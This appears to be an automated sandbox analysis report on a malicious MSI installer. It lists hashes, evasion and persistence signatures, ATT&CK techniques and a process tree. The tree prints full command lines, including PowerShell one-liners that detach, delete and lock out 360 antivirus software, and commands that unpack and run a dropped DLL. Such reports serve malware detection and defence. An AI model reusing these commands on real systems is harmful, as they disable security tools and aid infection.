Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
-
submitted
12/07/2024, 17:57
General
-
Target
Enigma_lnst.msi
-
Size
186.9MB
-
MD5
1befc9492cae2fa2ff5a89177e9d3063
-
SHA1
061f689bb3802cf3da9cb5f8658beb5895d5650f
-
SHA256
90cee7a2160a5506535b05a1da860b3db9270154a27b4614001a73921eb516f3
-
SHA512
c199d79049af3c486fcbe35d6ae0825a8c2cae134fec4fe740c55c3677b29b7527958aaaf1c44890472af0a8d9e0e0db1ed96ca979da0619e089ff2486038243
-
SSDEEP
3145728:L7y8IlnJhDfWQ3yIe3EPleGEHmdygafuvI2tc9XzlRn6lF+RQ+ZspLkOvnkBM+k6:i8oDfW6yIpPwGEHmdafuvXc9Bpe+S+6y
Malware Config
Signatures
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
-
Modifies RDP port number used by Windows 1 TTPs
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Identifies Wine through registry keys 2 TTPs 2 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Drops file in Program Files directory 1 IoCs
-
Drops file in Windows directory 11 IoCs
-
Executes dropped EXE 3 IoCs
-
Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
-
Loads dropped DLL 5 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
-
Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Modifies registry class 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 2 IoCs
-
Suspicious use of SetWindowsHookEx 3 IoCs
-
Suspicious use of WriteProcessMemory 33 IoCs
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Enigma_lnst.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 93DE0A49FCB79BBEE6CAD9CA24428C232⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe" /c "fltmc.exe && exit 0||exit 1"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\fltMC.exefltmc.exe4⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'360safe_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360safe.ini';}3⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'360sd_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\360sd.ini';}3⤵
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\ProgramData\Data\un.exe"C:\ProgramData\Data\un.exe" x -o+ -ppoiuytrewq C:\ProgramData\Data\upx.rar qbcore.dll C:\ProgramData\3⤵
- Executes dropped EXE
-
-
C:\ProgramData\Data\un.exe"C:\ProgramData\Data\un.exe" x -o+ -ppoiuytrewq C:\ProgramData\Data\upx.rar iusb3mon.exe C:\ProgramData\3⤵
- Executes dropped EXE
-
-
C:\ProgramData\iusb3mon.exe"C:\ProgramData\iusb3mon.exe" false3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Adds Run key to start application
- Checks computer location settings
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\odbc.inst.ini4⤵
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\ProgramData\qbcore.dll,cef_v8value_create_string4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\inst.ini4⤵
-
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Defense Evasion
Hide Artifacts
1Ignore Process Interrupts
1Modify Registry
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
10KB
MD565d5af85679d97a938a6b16357b68473
SHA1ac6389ab0a70232fb1d98d0c39f8ef606ffa8596
SHA256af68e5eccb79d3b61f60bec508b06b3ebb242cac0819322fff84aeb3a025d8e1
SHA512bbf9b913801e609b36a8703ee40b3f261f0db081a1af33365cdb7872ce4c4d4ef4287352b7208719842b4c20ebb9686ef5e8f3d4fbe3c658a2c9fe04015af9cb
-
Filesize
10B
MD551c11db1054dd4650a33bf481ec27060
SHA117686b75163d8753be27e407aad97a76f311fc7b
SHA256fc835086345b170ac995c35f24546e1b7268e3d3524a125a9396a4ec8b7d3f35
SHA51294d5c2a0cb03b38657bab246a695c6528fc5f7d3ddbe716641dd59ec83a67d6ab28c083000026d10114e7ab8f8225f7c90c9fce25ef0611f46aa3899d096d80f
-
Filesize
601KB
MD54fdc31997eb40979967fc04d9a9960f3
SHA17f13bd62c13324681913304644489bb6b66f584a
SHA256e9ea78fab020718cb75a116993bfa2a5fe71c163a801995adb9e5abebc7990a2
SHA51215146e24afcfea221616ca1f049d96e8a5f9b1eccefd3a27df150e4699993889fc1ab4952f2ba1ab519b1056baaeeb4490894bc795d0cb4630f663fa08316b9a
-
Filesize
2.3MB
MD56902353b10ae3b51d0d4dce6711bdc5e
SHA12c4abeda0be51037d90abdd22ce46660dc84a0fb
SHA256525c842b1e10058e35b28593bcf2efd8b62e0587d5e0fc27e4289cdafaa9119a
SHA512fb7d0590934ee8cb28dca9b4e0c3d2ee751ecfeeaaa5d399cc01c147c1ff051b58b23f88bced572000db8516ec47b84c6a6604131d69a6dd9e80c010b482b047
-
Filesize
356KB
MD5fae472e4f35ea37d87ec8e75f8f87424
SHA1dc4cecc39dcda0f27208d976f4c890aca60d38de
SHA256ece4bdb4d10691514983e689e00fe376cd96d47b59c19d418514df6e075635b0
SHA5126bdc5e60d917007c5970cde0fe0d8bdbaa6285e8351968bba0db5c42230448a2d6028e4f1d29bfbb72224a7bdc10c85d45614a113896d4eaebead949990df845
-
Filesize
604KB
MD575ff06aa5acfa803ad99b4fdcc43dd68
SHA18a120948f1e30fa8a2ef0d839c5300bbdfa9a8e4
SHA256a09ee1f7481c2f215c3a1d2335c5181fcf52eea7c9d82bb885cb14dc419d4e51
SHA51271216288e436dab8d824cd9eb300286095687d855f5beb4e2732a8ef90c7536fad2d82ee61373e85a65a8950ce5979757518578d522bad6bd8496b363b9ead3c
-
Filesize
2.7MB
MD5c31ab7e7b6832f1b99d6914e1594eb6d
SHA1ccc6f7e864548b9a7cbb5118c75e5f90db14ac5d
SHA2563bda309984263aa5517dec01fbed324aaec44b514173aa7263cc9d2e0d2a5e73
SHA512ff358abab061cc85bb1f51fc6a4a954f46bcf79863728c83b023cecfda2e7f4b61b8d30fe609af3f7bf01b2c23be417eb22f71d7e68b35749d78b85083469f99
-
Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
-
Filesize
16KB
MD50e5c309790822c256e0386bae40fdb4d
SHA1915d7770b22ed734cae57dcb50b403ccf5e23628
SHA25692700714dc349086d41e7fd278e6366242eb745a93ce3dbcc7ab55dbf4fdd8cf
SHA5122f8dd04ac522a5216688e236da9582911539d542daa7e139bc94974884d3aba435ac919f42a7106965778f2734c0b25f2a8f0731540900683b7b3d77da7ad58e
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
990KB
MD5b9ff2dd6924711531e59e90581cda548
SHA16c8d572587c40a1fd8c20bd4f1929bb0fbb12009
SHA256ad564d4d64bb74ea6819e081534131f6f78e3c019d37abbc3eef8e09dfed96d7
SHA512d026c8128c1a182aa7f9d7cba179b411ad679e3bf89723a3498ab493cb6938579ee703ade35595f6b5178413e0df7f6f9a152a5036759e42f1d6f52cc0a61227
-
Filesize
2B
MD581051bcc2cf1bedf378224b0a93e2877
SHA1ba8ab5a0280b953aa97435ff8946cbcbb2755a27
SHA2567eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6
SHA5121b302a2f1e624a5fb5ad94ddc4e5f8bfd74d26fa37512d0e5face303d8c40eee0d0ffa3649f5da43f439914d128166cb6c4774a7caa3b174d7535451eb697b5d
-
Filesize
23.7MB
MD5cfd7b17cde52d2aabdafc5fbe8c22eca
SHA1a739b299e81991c50f567b62795e715bb238f14e
SHA256fc9b9c75ca9aa253627bf27ce87c77cfe51184153cfa9cd7febb24fbb97c7796
SHA5120e5cda7c2699f8404e5b2b7086bda0619cf390737480a3aa019bff27f954f934c51365aae2915d405bf5a6e927d7da0b229a586b2a50c16720d51254be93fcdd
-
Filesize
6KB
MD560655917a1eea18e7ba977ca59c86b26
SHA122c24567fd0121a2d6d214fe5011f937d7836606
SHA2565bd39a2532199284b7ca66d88d6536a02784e879d922eaf968764b1899da2a30
SHA512cd954f153ac5865c890d1d579c4086714a974c51f359c42e21714afc3e48ffe7491db1bef66a6a285a3da24d417037312451e0daf9cebe4cbcec2c838b789a73
-
Filesize
2.7MB
-
Filesize
2.7MB
-
Filesize
2.7MB
-
Filesize
388KB
-
Filesize
3.3MB
-
Filesize
136KB
-
Filesize
408KB
-
Filesize
600KB
-
Filesize
136KB
-
Filesize
104KB
-
Filesize
216KB
-
Filesize
408KB
-
Filesize
5.6MB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
6.2MB
-
Filesize
2.7MB
-
Filesize
2.7MB
-
Filesize
2.7MB
